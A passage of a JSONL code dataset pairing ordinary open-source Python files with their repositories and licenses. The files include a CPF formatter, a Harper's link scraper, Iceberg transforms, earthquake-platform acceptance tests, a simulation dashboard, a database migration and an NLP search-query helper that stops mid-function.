+{"text": "class Cpf:\n def __init__(self, documento):\n documento = str(documento)\n if self.cpf_eh_valido(documento):\n self.cpf = documento\n else:\n raise ValueError(\"CPF inv\u00e1lido!\")\n\n def cpf_eh_valido(self, documento):\n if len(documento) == 11:\n return True\n else:\n return False\n\n def cpf_formato(self):\n fatia_um = self.cpf[:3]\n fatia_dois = self.cpf[3:6]\n fatia_tres = self.cpf[6:9]\n fatia_quatro = self.cpf[9:]\n return(\n \"{}.{}.{}-{}\".format(\n fatia_um,\n fatia_dois,\n fatia_tres,\n fatia_quatro\n )\n )\n", "source": "LuizMoreira-py/cadastro", "license": "MIT"}
+{"text": "BASE_URL=\"https://harpers.org/sections/readings/page/\"\nN_ARTICLE_LINK_PAGES = 50\nOUTPUT_FILE = 'harpers-later-urls.json'\nWORKER_THREADS = 32\n\n\nimport json\nimport datetime\nimport dateutil.parser\nfrom dataclasses import dataclass\nfrom dataclasses_json import dataclass_json\nfrom datetime import datetime\nfrom newspaper import Article\nfrom bs4 import BeautifulSoup\nfrom typing import List\nfrom queue import Queue\nfrom threading import Thread\nfrom requests import get\nfrom pathlib import Path\nimport pandas as pd\nfrom urllib.request import Request, urlopen\n\n\n@dataclass_json\n@dataclass\nclass HarperReadingArticleUrl:\n url: str\n title: str\n\nclass WriteThread(Thread):\n def __init__(self, queue: Queue, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.queue = queue\n\n def run(self):\n existing_links = []\n \n while True:\n article = self.queue.get()\n\n if article is None:\n output_file_path = Path(OUTPUT_FILE)\n check_df = pd.DataFrame(existing_links)\n check_df.drop_duplicates(subset=\"url\", keep=\"first\", inplace=True)\n check_df.to_json(output_file_path, orient=\"records\")\n break\n\n current_article_json = article.to_dict()\n existing_links.insert(0,current_article_json)\n\nclass ScrapeThread(Thread):\n def __init__(self, chunk, queue: Queue, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.chunk = chunk\n self.queue = queue\n\n def run(self):\n for i in self.chunk:\n try:\n print(f'Getting articles from list page {i}')\n url = f\"{BASE_URL}{i}\"\n req = Request(url , headers={'User-Agent': 'Mozilla/5.0'})\n webpage = urlopen(req).read()\n soup = BeautifulSoup(webpage, \"html5lib\")\n articles = soup.find_all('div', {'class': 'card'})\n for article in articles:\n dual_hrefs = article.find_all('a')\n link = dual_hrefs[1]['href']\n title = dual_hrefs[1].find('h2', {'class': 'ac-title'})\n if title is None or title.string is None or link is None or link is None:\n continue\n article_url = HarperReadingArticleUrl(url=link.strip(), title=str(title.string.strip()) or '')\n self.queue.put(article_url)\n except Exception as e:\n print(f'Something went wrong when scraping: {e}')\n print(\"------------------------------------------\")\n\n\nif __name__ == '__main__':\n queue = Queue()\n\n write_thread = WriteThread(queue)\n write_thread.start()\n\n worker_threads = []\n chunk_size = (N_ARTICLE_LINK_PAGES) // WORKER_THREADS\n for i in range(0, N_ARTICLE_LINK_PAGES+1, chunk_size):\n chunk = range(i,i+chunk_size)\n worker_threads.append(ScrapeThread(chunk, queue))\n\n for thread in worker_threads:\n thread.start()\n\n for thread in worker_threads:\n thread.join()\n\n # Signal end of jobs to write thread\n queue.put(None)\n\n print('Done.')\n write_thread.join()\n", "source": "the-browser/recommending-interesting-writing", "license": "MIT"}
+{"text": "# Licensed to the Apache Software Foundation (ASF) under one\n# or more contributor license agreements. See the NOTICE file\n# distributed with this work for additional information\n# regarding copyright ownership. The ASF licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License. You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied. See the License for the\n# specific language governing permissions and limitations\n# under the License.\n\nimport re\n\nfrom .bucket import Bucket\nfrom .dates import Dates\nfrom .identity import Identity\nfrom .timestamps import Timestamps\nfrom .truncate import Truncate\nfrom ..types import (TypeID)\n\n\n\"\"\"\n Factory methods for transforms.\n
\n Most users should create transforms using a\n {@link PartitionSpec.Builder#builderFor(Schema)} partition spec builder}.\n\n @see PartitionSpec#builderFor(Schema) The partition spec builder.\n\"\"\"\n\n\nclass Transforms(object):\n HAS_WIDTH = re.compile(\"(\\\\w+)\\\\[(\\\\d+)\\\\]\")\n\n def __init__(self):\n pass\n\n @staticmethod\n def from_string(type_var, transform):\n match = Transforms.HAS_WIDTH.match(transform)\n\n if match is not None:\n name = match.group(1)\n w = int(match.group(2))\n if name.lower() == \"truncate\":\n return Truncate.get(type_var, w)\n elif name.lower() == \"bucket\":\n return Bucket.get(type_var, w)\n\n if transform.lower() == \"identity\":\n return Identity.get(type_var)\n elif type_var.type_id == TypeID.TIMESTAMP:\n return Timestamps(transform.lower(), transform.lower())\n elif type_var.type_id == TypeID.DATE:\n return Dates(transform.lower(), transform.lower())\n\n raise RuntimeError(\"Unknown transform: %s\" % transform)\n\n @staticmethod\n def identity(type_var):\n return Identity.get(type_var)\n\n @staticmethod\n def year(type_var):\n if type_var.type_id == TypeID.DATE:\n return Dates(\"year\", \"year\")\n elif type_var.type_id == TypeID.TIMESTAMP:\n return Timestamps(\"year\", \"year\")\n else:\n raise RuntimeError(\"Cannot partition type %s by year\" % type_var)\n\n @staticmethod\n def month(type_var):\n if type_var.type_id == TypeID.DATE:\n return Dates(\"month\", \"month\")\n elif type_var.type_id == TypeID.TIMESTAMP:\n return Timestamps(\"month\", \"month\")\n else:\n raise RuntimeError(\"Cannot partition type %s by month\" % type_var)\n\n @staticmethod\n def day(type_var):\n if type_var.type_id == TypeID.DATE:\n return Dates(\"day\", \"day\")\n elif type_var.type_id == TypeID.TIMESTAMP:\n return Timestamps(\"day\", \"day\")\n else:\n raise RuntimeError(\"Cannot partition type %s by day\" % type_var)\n\n @staticmethod\n def hour(type_var):\n if type_var.type_id == TypeID.DATE:\n return Dates(\"hour\", \"hour\")\n elif type_var.type_id == TypeID.TIMESTAMP:\n return Timestamps(\"hour\", \"hour\")\n else:\n raise RuntimeError(\"Cannot partition type %s by hour\" % type_var)\n\n @staticmethod\n def bucket(type_var, num_buckets):\n return Bucket.get(type_var, num_buckets)\n\n @staticmethod\n def truncate(type_var, width):\n return Truncate.get(type_var, width)\n", "source": "moulimukherjee/incubator-iceberg", "license": "Apache-2.0"}
+{"text": "#!/usr/bin/env python\n\"\"\"\nSouthern California Earthquake Center Broadband Platform\nCopyright 2010-2017 Southern California Earthquake Center\n\nThese are acceptance tests for the broadband platforms\n$Id: AcceptTests.py 1795 2017-02-09 16:23:34Z fsilva $\n\"\"\"\nfrom __future__ import division, print_function\n\n# Import Python modules\nimport os\nimport new\nimport sys\nimport shutil\nimport optparse\nimport unittest\n\n# Import Broadband modules\nimport bband_utils\nimport seqnum\nimport cmp_bbp\nfrom install_cfg import InstallCfg\n\ndef find_tests(test, rerun):\n \"\"\"\n # This function searches for .xml files in the accept_inputs directory\n \"\"\"\n\n install = InstallCfg()\n resume = True\n\n accept_test_inputs = \"accept_inputs\"\n accept_test_refs = \"accept_refs\"\n\n input_dir = os.path.join(install.A_TEST_REF_DIR, accept_test_inputs)\n if not os.path.exists(input_dir):\n # These are expected to be in the dist\n print(\"Acceptance test inputs dir %s does not exist, aborting\" %\n (input_dir))\n sys.exit()\n\n # Create list of test XML files\n files = os.listdir(input_dir)\n wfext = \".xml\"\n\n # First we find all the tests\n test_files = []\n for testfile in files:\n if testfile.endswith(wfext):\n # Don't add SDSU tests on Mac OS X\n if sys.platform == 'darwin' and testfile.find(\"SDSU\") >= 0:\n if test is None or (test is not None and testfile.find(test) >= 0):\n print(\"*** Mac OS X detected: skipping test %s.\" %\n (testfile))\n continue\n if test is None:\n test_files.append(testfile)\n else:\n if testfile.find(test) >= 0:\n test_files.append(testfile)\n\n resume_file = os.path.join(install.A_OUT_LOG_DIR, \"resume.txt\")\n resume_list = \"\"\n if rerun:\n os.remove(resume_file)\n # Check for already completed tests if not rerunning\n if resume == True and rerun == False:\n if os.path.exists(resume_file):\n resume_fp = open(resume_file, 'r')\n resume_list = resume_fp.read().splitlines()\n completed_test_count = len(resume_list)\n print(\"==> Completed Tests : %d\" % (completed_test_count))\n resume_fp.close()\n if ((test is None) and\n (completed_test_count >= len(test_files))):\n print(\"All the acceptance tests have passed previously!\")\n proceed = raw_input(\"Would you like to re-run \"\n \"all the acceptance tests? (y/n)\")\n if str.lower(proceed) == 'y':\n os.remove(resume_file)\n resume_list = \"\"\n else:\n sys.exit(0)\n\n # Create unittest test case for each file\n for xml_file in test_files:\n\n # Skip test if we ran it already\n if xml_file in resume_list:\n print(\"==> Skipping %s\" % (xml_file))\n continue\n\n file_base = xml_file[0:xml_file.find(wfext)]\n # pieces = file_base.split('-')\n\n # Adjust tolerance depending on test mode\n tolerance = 0.03\n\n #This defines a method that we're going to add to the\n #BBPAcceptanceTests class. The keyword binding has to\n #be done b/c Python is storing pointers to 'file' and 'file_base'\n #so w/o the keywords, 'file' and 'file_base' in the function will\n #point to the final values\n def permutation_test(self, file_base=file_base, xml_file=xml_file):\n input_dir = os.path.join(self.install.A_TEST_REF_DIR,\n accept_test_inputs)\n log_dir = os.path.join(self.install.A_OUT_LOG_DIR,\n \"acceptance_test_logs\")\n sim_id = int(seqnum.get_seq_num())\n self.file_base = file_base\n self.log_file = os.path.join(log_dir, \"%s.log\" % (self.file_base))\n self.input_file = os.path.join(input_dir, xml_file)\n cmd = (\"%s/run_bbp.py -x %s -s %d -l %s\" %\n (self.install.A_COMP_DIR,\n self.input_file, sim_id, self.log_file))\n rc = bband_utils.runprog(cmd, False)\n self.failIf(rc != 0, \"Acceptance test failed to execute\")\n ref_file_dir = os.path.join(self.install.A_TEST_REF_DIR,\n accept_test_refs,\n self.file_base)\n agree = True\n for ref_file in os.listdir(ref_file_dir):\n if os.path.isfile(os.path.join(ref_file_dir, ref_file)):\n test_file = os.path.join(self.install.A_OUT_DATA_DIR,\n str(sim_id),\n (\"%d.%s\" % (sim_id, ref_file)))\n a_ref_file = os.path.join(ref_file_dir, ref_file)\n compare_result = cmp_bbp.cmp_bbp(a_ref_file, test_file,\n tolerance=tolerance)\n errmsg = (\"Output file \"\n \"%s does not match reference file: %s\" %\n (test_file, a_ref_file))\n self.failIf(compare_result != 0, errmsg)\n if compare_result != 0:\n agree = False\n if agree == True:\n # Write success to the resume file\n resume_fp = open(os.path.join(install.A_OUT_LOG_DIR,\n \"resume.txt\"), 'a')\n resume_fp.write(\"%s\\n\" % xml_file)\n resume_fp.flush()\n resume_fp.close()\n sys.stdout.flush()\n sys.stderr.flush()\n\n # We create a method object which is an instance method for\n # BBPAcceptanceTests which executes the code in\n # testPermutation\n method = new.instancemethod(permutation_test,\n None, BBPAcceptanceTests)\n # We give the method a new name in BBPAcceptanceTests\n # which contains the xml file being run\n setattr(BBPAcceptanceTests, \"test_%s\" % file_base, method)\n\nclass BBPAcceptanceTests(unittest.TestCase):\n\n def setUp(self):\n self.install = InstallCfg()\n accept_test_inputs = \"accept_inputs\"\n src_path = \"\"\n self.resume = True\n run_dir = self.install.A_USER_DATA_DIR\n\n # Create run directory, in case it doesn't exist\n bband_utils.mkdirs([run_dir], print_cmd=False)\n\n if not os.path.exists(os.path.join(run_dir, \"northridge_3_sta.stl\")):\n src_path = os.path.join(self.install.A_TEST_REF_DIR,\n accept_test_inputs,\n \"northridge_3_sta.stl\")\n shutil.copy2(src_path, run_dir)\n\n if not os.path.exists(os.path.join(run_dir, \"northridge_eq_gp.src\")):\n src_path = os.path.join(self.install.A_TEST_REF_DIR,\n accept_test_inputs,\n \"northridge_eq_gp.src\")\n shutil.copy2(src_path, run_dir)\n\n if not os.path.exists(os.path.join(run_dir, \"northridge_eq_ucsb.src\")):\n src_path = os.path.join(self.install.A_TEST_REF_DIR,\n accept_test_inputs,\n \"northridge_eq_ucsb.src\")\n shutil.copy2(src_path, run_dir)\n\n if not os.path.exists(os.path.join(run_dir, \"northridge_eq_song.src\")):\n src_path = os.path.join(self.install.A_TEST_REF_DIR,\n accept_test_inputs,\n \"northridge_eq_song.src\")\n shutil.copy2(src_path, run_dir)\n\n if not os.path.exists(os.path.join(self.install.A_OUT_LOG_DIR,\n \"acceptance_test_logs\")):\n bband_utils.mkdirs([os.path.join(self.install.A_OUT_LOG_DIR,\n \"acceptance_test_logs\")])\n\nif __name__ == '__main__':\n # Parse options\n parser = optparse.OptionParser()\n parser.add_option(\"-t\", \"--test\",\n dest=\"test\",\n help=\"Execute specific test\",\n metavar=\"TEST\")\n parser.add_option(\"-r\", \"--rerun\",\n action=\"store_true\",\n dest=\"rerun\",\n help=\"Rerun tests already completed\")\n\n (options, args) = parser.parse_args()\n\n if options.test is not None:\n test = options.test\n else:\n test = None\n if options.rerun is not None:\n rerun = True\n else:\n rerun = False\n\n find_tests(test, rerun)\n suite = unittest.TestLoader().loadTestsFromTestCase(BBPAcceptanceTests)\n print(\"==> Number of tests to run: %d\" % suite.countTestCases())\n unittest.TextTestRunner(verbosity=2).run(suite)\n", "source": "kevinmilner/bbp", "license": "Apache-2.0"}
+{"text": "# -*- coding: utf-8 -*-\n\n# ------------------------------------------------------------------------------\n#\n# Copyright 2018-2019 Fetch.AI Limited\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n# ------------------------------------------------------------------------------\n\n\n\"\"\"Module containing the controller dashboard and related classes.\"\"\"\n\nimport argparse\nimport json\nimport os\nfrom typing import Optional, Dict\n\nimport numpy as np\n\nfrom tac.gui.dashboards.base import start_visdom_server, Dashboard\nfrom tac.agents.controller.base.states import Game\nfrom tac.platform.game.stats import GameStats\n\nDEFAULT_ENV_NAME = \"tac_simulation_env_main\"\n\n\nclass ControllerDashboard(Dashboard):\n \"\"\"\n Class to manage a Visdom dashboard for the controller agent.\n\n It assumes that a Visdom server is running at the address and port provided in input\n (default: http://localhost:8097)\n \"\"\"\n\n def __init__(\n self,\n game_stats: Optional[GameStats] = None,\n visdom_addr: str = \"localhost\",\n visdom_port: int = 8097,\n env_name: Optional[str] = \"tac_controller\",\n ):\n \"\"\"Instantiate a ControllerDashboard.\"\"\"\n super().__init__(visdom_addr, visdom_port, env_name)\n self.game_stats = game_stats\n\n self.agent_pbk_to_name = {} # type: Dict[str, str]\n\n def update(self):\n \"\"\"Update the dashboard.\"\"\"\n if not self._is_running():\n raise Exception(\"Dashboard not running, update not allowed.\")\n\n self._update_registered_agents()\n if self.game_stats is not None:\n self._update_info()\n self._update_utility_params()\n self._update_current_holdings()\n self._update_initial_holdings()\n self._update_plot_scores()\n self._update_plot_balance_history()\n self._update_plot_price_history()\n self._update_plot_eq_vs_mean_price()\n self._update_plot_eq_vs_current_score()\n self._update_adjusted_score()\n\n @staticmethod\n def from_datadir(datadir: str, env_name: str) -> \"ControllerDashboard\":\n \"\"\"\n Return a ControllerDashboard from a data directory.\n\n :param datadir: the data directory\n :param env_name: the environment name\n :return: controller dashboard\n \"\"\"\n game_data_json_filepath = os.path.join(datadir, \"game.json\")\n print(\"Loading data from {}\".format(game_data_json_filepath))\n game_data = json.load(open(game_data_json_filepath))\n game = Game.from_dict(game_data)\n game_stats = GameStats(game)\n return ControllerDashboard(game_stats, env_name=env_name)\n\n def _update_info(self):\n window_name = \"configuration_details\"\n self.viz.properties(\n [\n {\n \"type\": \"number\",\n \"name\": \"# agents\",\n \"value\": self.game_stats.game.configuration.nb_agents,\n },\n {\n \"type\": \"number\",\n \"name\": \"# goods\",\n \"value\": self.game_stats.game.configuration.nb_goods,\n },\n {\n \"type\": \"number\",\n \"name\": \"tx fee\",\n \"value\": self.game_stats.game.configuration.tx_fee,\n },\n {\n \"type\": \"number\",\n \"name\": \"# transactions\",\n \"value\": len(self.game_stats.game.transactions),\n },\n ],\n env=self.env_name,\n win=window_name,\n opts=dict(title=\"Configuration\"),\n )\n\n def _update_registered_agents(self):\n window_name = \"registered_agents\"\n self.viz.properties(\n [\n {\"type\": \"string\", \"name\": \"{}\".format(agent_name), \"value\": \"\"}\n for agent_name in self.agent_pbk_to_name.values()\n ],\n env=self.env_name,\n win=window_name,\n opts=dict(title=\"Registered Agents\"),\n )\n\n def _update_utility_params(self):\n utility_params = self.game_stats.game.initialization.utility_params\n utility_params = np.asarray(utility_params)\n\n window_name = \"utility_params\"\n self.viz.heatmap(\n utility_params,\n env=self.env_name,\n win=window_name,\n opts=dict(title=\"Utility Parameters\", xlabel=\"Goods\", ylabel=\"Agents\"),\n )\n\n def _update_initial_holdings(self):\n initial_holdings = self.game_stats.holdings_history()[0]\n\n window_name = \"initial_holdings\"\n self.viz.heatmap(\n initial_holdings,\n env=self.env_name,\n win=window_name,\n opts=dict(\n title=\"Initial Holdings\", xlabel=\"Goods\", ylabel=\"Agents\", stacked=True,\n ),\n )\n\n def _update_current_holdings(self):\n initial_holdings = self.game_stats.holdings_history()[-1]\n\n window_name = \"final_holdings\"\n self.viz.heatmap(\n initial_holdings,\n env=self.env_name,\n win=window_name,\n opts=dict(\n title=\"Current Holdings\", xlabel=\"Goods\", ylabel=\"Agents\", stacked=True,\n ),\n )\n\n def _update_plot_scores(self):\n keys, score_history = self.game_stats.score_history()\n agent_names = [\n self.game_stats.game.configuration.agent_pbk_to_name[agent_pbk]\n for agent_pbk in keys\n ]\n\n window_name = \"score_history\"\n self.viz.line(\n X=np.arange(score_history.shape[0]),\n Y=score_history,\n env=self.env_name,\n win=window_name,\n opts=dict(\n legend=agent_names,\n title=\"Scores\",\n xlabel=\"Transactions\",\n ylabel=\"Score\",\n ),\n )\n\n def _update_plot_balance_history(self):\n keys, balance_history = self.game_stats.balance_history()\n agent_names = [\n self.game_stats.game.configuration.agent_pbk_to_name[agent_pbk]\n for agent_pbk in keys\n ]\n\n window_name = \"balance_history\"\n self.viz.line(\n X=np.arange(balance_history.shape[0]),\n Y=balance_history,\n env=self.env_name,\n win=window_name,\n opts=dict(\n legend=agent_names,\n title=\"Balance history\",\n xlabel=\"Transactions\",\n ylabel=\"Money\",\n ),\n )\n\n def _update_plot_price_history(self):\n price_history = self.game_stats.price_history()\n\n window_name = \"price_history\"\n self.viz.line(\n X=np.arange(price_history.shape[0]),\n Y=price_history,\n env=self.env_name,\n win=window_name,\n opts=dict(\n legend=list(\n self.game_stats.game.configuration.good_pbk_to_name.values()\n ),\n title=\"Price history\",\n xlabel=\"Transactions\",\n ylabel=\"Price\",\n ),\n )\n\n def _update_plot_eq_vs_mean_price(self):\n good_names, eq_vs_mean_price = self.game_stats.eq_vs_mean_price()\n\n window_name = \"eq_vs_mean_price\"\n self.viz.bar(\n X=eq_vs_mean_price,\n env=self.env_name,\n win=window_name,\n opts=dict(\n legend=[\"eq_price\", \"mean_price\"],\n title=\"Equilibrium vs Mean Prices\",\n xlabel=\"Goods\",\n ylabel=\"Price\",\n rownames=good_names,\n ),\n )\n\n def _update_plot_eq_vs_current_score(self):\n keys, eq_vs_current_score = self.game_stats.eq_vs_current_score()\n agent_names = [\n self.game_stats.game.configuration.agent_pbk_to_name[agent_pbk]\n for agent_pbk in keys\n ]\n\n window_name = \"eq_vs_current_score\"\n self.viz.bar(\n X=eq_vs_current_score,\n env=self.env_name,\n win=window_name,\n opts=dict(\n legend=[\"eq_score\", \"current_score\"],\n title=\"Equilibrium vs Current Score\",\n xlabel=\"Agents\",\n ylabel=\"Score\",\n rownames=agent_names,\n ),\n )\n\n def _update_adjusted_score(self):\n keys, adjusted_score = self.game_stats.adjusted_score()\n\n window_name = \"adjusted_score\"\n self.viz.bar(\n X=adjusted_score,\n env=self.env_name,\n win=window_name,\n opts=dict(\n title=\"Adjusted Score\",\n xlabel=\"Agents\",\n ylabel=\"Score\",\n rownames=[\n self.game_stats.game.configuration.agent_pbk_to_name[agent_pbk]\n for agent_pbk in keys\n ],\n ),\n )\n\n def __enter__(self):\n \"\"\"Enter the dashboard.\"\"\"\n self.start()\n self.update()\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n \"\"\"Exit the dashboard.\"\"\"\n self.stop()\n\n\ndef parse_args():\n \"\"\"Parse the arguments.\"\"\"\n parser = argparse.ArgumentParser(\n \"dashboard\", description=\"Data Visualization for the simulation outcome\"\n )\n parser.add_argument(\n \"--datadir\",\n type=str,\n required=True,\n help=\"The path to the simulation data folder.\",\n )\n parser.add_argument(\n \"--env_name\",\n type=str,\n default=None,\n help=\"The name of the environment to create.\",\n )\n\n arguments = parser.parse_args()\n return arguments\n\n\nif __name__ == \"__main__\":\n\n arguments = parse_args()\n process = start_visdom_server()\n d = ControllerDashboard.from_datadir(arguments.datadir, arguments.env_name)\n\n d.start()\n d.update()\n while True:\n try:\n input()\n except KeyboardInterrupt:\n break\n finally:\n d.stop()\n process.terminate()\n", "source": "fetchai/agents-tac", "license": "Apache-2.0"}
+{"text": "\"\"\"empty message\n\nRevision ID: 35099fc974d2\nRevises: ae00e7974dca\nCreate Date: 2017-05-19 17:01:48.878196\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '35099fc974d2'\ndown_revision = 'ae00e7974dca'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n op.drop_column('node', 'wipe_root_disk_next_boot')\n op.drop_column('node', 'root_partition_size_sectors')\n op.drop_column('node', 'root_disk')\n\n\ndef downgrade():\n op.add_column('node', sa.Column('root_disk', sa.VARCHAR(length=80), autoincrement=False, nullable=False))\n op.add_column('node', sa.Column('root_partition_size_sectors', sa.INTEGER(), autoincrement=False, nullable=True))\n op.add_column('node', sa.Column('wipe_root_disk_next_boot', sa.BOOLEAN(), autoincrement=False, nullable=False))\n", "source": "nailgun/seedbox", "license": "Apache-2.0"}
+{"text": "__author__ = 'jeffrey.starr@ztoztechnologies.com'\n\nfrom .infer import infer\n", "source": "avishai-o/dateinfer", "license": "Apache-2.0"}
+{"text": "#coding:utf-8\nimport re\nimport math\n\nfrom docclass import Classifier\n\n\ndef test_infc_func():\n c = Classifier(getfeatures=None)\n c.infc(\"python\", \"good\")\n c.infc(\"python\", \"good\")\n c.infc(\"the\", \"bad\")\n c.infc(\"the\", \"good\")\n\n print c.fc\n\n\nif __name__ == \"__main__\":\n test_infc_func()\n", "source": "ubear/MachineLearn", "license": "MIT"}
+{"text": "from uncertainties import ufloat\nfrom utilities import min_value, max_value\n\ndef main():\n print 'Plate motion rate parallel to section'\n print plate_motion()\n\n print 'Shortening (including ductile) from bed-length'\n print bed_length_shortening()\n\n print 'Estimated total shortening accomodated by OOSTS'\n print oost_shortening()\n\n print 'Shortening accommodated by seaward branch of OOSTS'\n print seaward_shortening()\n\n print 'Percentage of OOST shortening'\n print total_oost_percentage()\n\n print 'Landward Percentage'\n print landward_percentage()\n\n print 'Seaward Percentage'\n print seaward_percentage()\n\ndef bed_length_balancing():\n \"\"\"Summed fault heaves from bed-length balancing.\"\"\"\n present_length = 32\n\n # 2km error from range in restored pin lines + 10% interpretation error\n restored_length = ufloat(82, 10)\n\n shortening = restored_length - present_length\n return shortening\n\ndef bed_length_shortening():\n \"\"\"Shortening estimate including volume loss.\"\"\"\n alpha = ufloat(0.35, 0.1)\n heaves = bed_length_balancing()\n return heaves * (1 + alpha)\n\ndef age():\n \"\"\"\n Age of the oldest in-sequence structures from Strasser, 2009.\n \n Returns:\n --------\n avg_age : A ufloat with an assumed 2 sigma uncertainty\n min_age : The \"hard\" minimum from Strasser, et al, 2009\n max_age : The \"hard\" maximum from Strasser, et al, 2009\n \"\"\"\n min_age = 1.95 # Ma\n max_age = 2.512 # Ma\n\n # Strasser perfers an older age within this range, so we model this as\n # 2.3 +/- 0.2, but provide mins and maxs\n avg_age = ufloat(2.3, 0.2) # Ma\n\n return avg_age, min_age, max_age\n\ndef plate_motion():\n \"\"\"\n Plate motion rate (forearc relative to oceanic plate) _parallel_ _to_\n _section_ (Not full plate vector!) based on elastic block modeling \n (Loveless&Meade, 2010).\n\n Returns:\n --------\n rate : A ufloat in mm/yr with a 2 sigma error\n \"\"\"\n # See /data/MyCode/VariousJunk/loveless_meade_block_model_slip_vector.py\n # for details of derivation... Uses block segment nearest study area instead\n # of derived euler pole.\n # I'm assuming that Loveless's reported errors are 2 sigma...\n section_parallel_rate = ufloat(42.9, 2.1)\n return section_parallel_rate\n\ndef total_convergence():\n \"\"\"\n Total shortening parallel to section from plate motion and ages.\n \n Returns:\n --------\n shortening : A ufloat representing the plate motion integrated over the \n age of deformation with a 2 sigma confidence interal.\n min_shortening : A \"hard\" minimum using the uncertainty in the plate \n motion and minimum constraints on the age.\n max_shortening : A \"hard\" maximum using the uncertainty in the plate \n motion and maximum constraints on the age.\n \"\"\"\n avg_age, min_age, max_age = age()\n rate = plate_motion()\n\n shortening = rate * avg_age\n\n min_shortening = min_value(min_age * rate)\n max_shortening = max_value(max_age * rate)\n return shortening, min_shortening, max_shortening\n\ndef oost_shortening():\n \"\"\"\n Shortening on the out-of-sequence thrust system based on integrated plate\n convergence minus the shortening predicted in the outer wedge from line\n balancing results.\n\n Returns:\n --------\n shortening : A ufloat with a 2 sigma error estimate\n \"\"\"\n total_shortening, min_total, max_total = total_convergence()\n return total_shortening - bed_length_shortening()\n\ndef seaward_shortening():\n \"\"\"Shortening accomodated on the seaward branch of the OOSTS based on \n comparing the total (`oost_shortening()`) shortening with the shortening\n predicted on the landward branch from forearc uplift. \n \n Returns:\n --------\n shortening : a ufloat with 2 sigma error in kilometers.\n \"\"\"\n from process_bootstrap_results import shortening_parallel_to_section\n landward_shortening = shortening_parallel_to_section() / 1000\n return oost_shortening() - landward_shortening\n\ndef total_oost_percentage():\n \"\"\"\n Percentage of shortening accommdated by out-of-sequence thrusting during\n the development of the present-day outer wedge.\n\n Returns:\n --------\n percentage : A ufloat with a 2 sigma error representing a unitless \n ratio (e.g. multiply by 100 to get percentage).\n \"\"\"\n total_shortening, min_total, max_total = total_convergence()\n return oost_shortening() / total_shortening\n\ndef seaward_percentage():\n \"\"\"\n Percentage of total plate convergence accomodated by the seaward branch of\n the OOSTS during its period of activity.\n\n Returns:\n --------\n percentage : A ufloat with a 2 sigma error representing a unitless \n ratio (e.g. multiply by 100 to get percentage).\n \"\"\"\n # Duration in myr from Strasser, 2009\n duration = 1.95 - 1.24 \n rate = plate_motion()\n total = duration * rate\n return seaward_shortening() / total\n\ndef landward_percentage():\n \"\"\"\n Maximum percentage of total plate convergence accomodated by the landward\n branch of the OOSTS during its period of activity.\n\n Returns:\n --------\n percentage : A ufloat with a 2 sigma error representing a unitless \n ratio (e.g. multiply by 100 to get percentage).\n \"\"\"\n from process_bootstrap_results import shortening_parallel_to_section\n landward_shortening = shortening_parallel_to_section() / 1000\n\n duration = ufloat(0.97, 0.07) - ufloat(0.25, 0.25)\n rate = plate_motion()\n total = duration * rate\n return landward_shortening / total\n\nif __name__ == '__main__':\n main()\n", "source": "joferkington/oost_paper_code", "license": "MIT"}
+{"text": "# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\n\nclass Partitioner(object):\n \"\"\"\n Base class for a partitioner\n \"\"\"\n def __init__(self, partitions):\n \"\"\"\n Initialize the partitioner\n\n Arguments:\n partitions: A list of available partitions (during startup)\n \"\"\"\n self.partitions = partitions\n\n def partition(self, key, partitions=None):\n \"\"\"\n Takes a string key and num_partitions as argument and returns\n a partition to be used for the message\n\n Arguments:\n key: the key to use for partitioning\n partitions: (optional) a list of partitions.\n \"\"\"\n raise NotImplementedError('partition function has to be implemented')\n", "source": "zhangjm12/monasca-common", "license": "Apache-2.0"}
+{"text": "'''Contains helper functions that can be used by any feature.'''\nfrom nltk_utils import tokenize\n\n\ndef get_search_query(\n spoken_text,\n patterns,\n search_terms,\n false_search_term_indicators=['like', 'love', 'want', 'ready']\n):\n '''\n General function that extracts a search query from spoken\n text given search terms to look out for.\n Some possible search terms include 'to', 'on', 'for', 'about'\n e.g. 'do a google search on Python.'\n search term = on\n query found = Python\n\n This function also ignores false search_term_indicators such\n as 'like to', 'love to', 'want to'\n e.g. 'I want to do a google search on Python'\n false search term = to\n false search term indicator = want\n actual search term = on\n query found = Python\n\n Thus the function will correctly ignore 'do a google search on Python'\n as a possible search query and will capture 'Python' as\n the right query.\n\n Other exmaples of use cases: 'Send an email to Alex'\n search term = to\n query found = Alex\n\n Arguments: spoken_text, feature_patterns,\n search_terms, false_search_term_indicators\n Return type: spoken_text (now stripped down to\n only the search query.)\n '''\n query_found = False\n query = \"\"\n # spoken_text from features is already in a tokenized form. If not, we\n # tokenize the text here.\n tokenized_text = spoken_text\n if isinstance(tokenized_text, str):\n tokenized_text = tokenize(spoken_text)\n has_search_term = any(\n search_term in tokenized_text for search_term in search_terms)\n while not query_found and has_search_term and tokenized_text != []:\n for search_term in search_terms:\n if search_term in tokenized_text:\n search_index = tokenized_text.index(search_term)\n # ignore cases with \"like to\", \"love to\" \"ready to\"\n if (tokenized_text[search_index-1] in\n false_search_term_indicators):\n phrase_after_false_term = tokenized_text[search_index+1:]\n tokenized_text = phrase_after_false_term\n break\n # 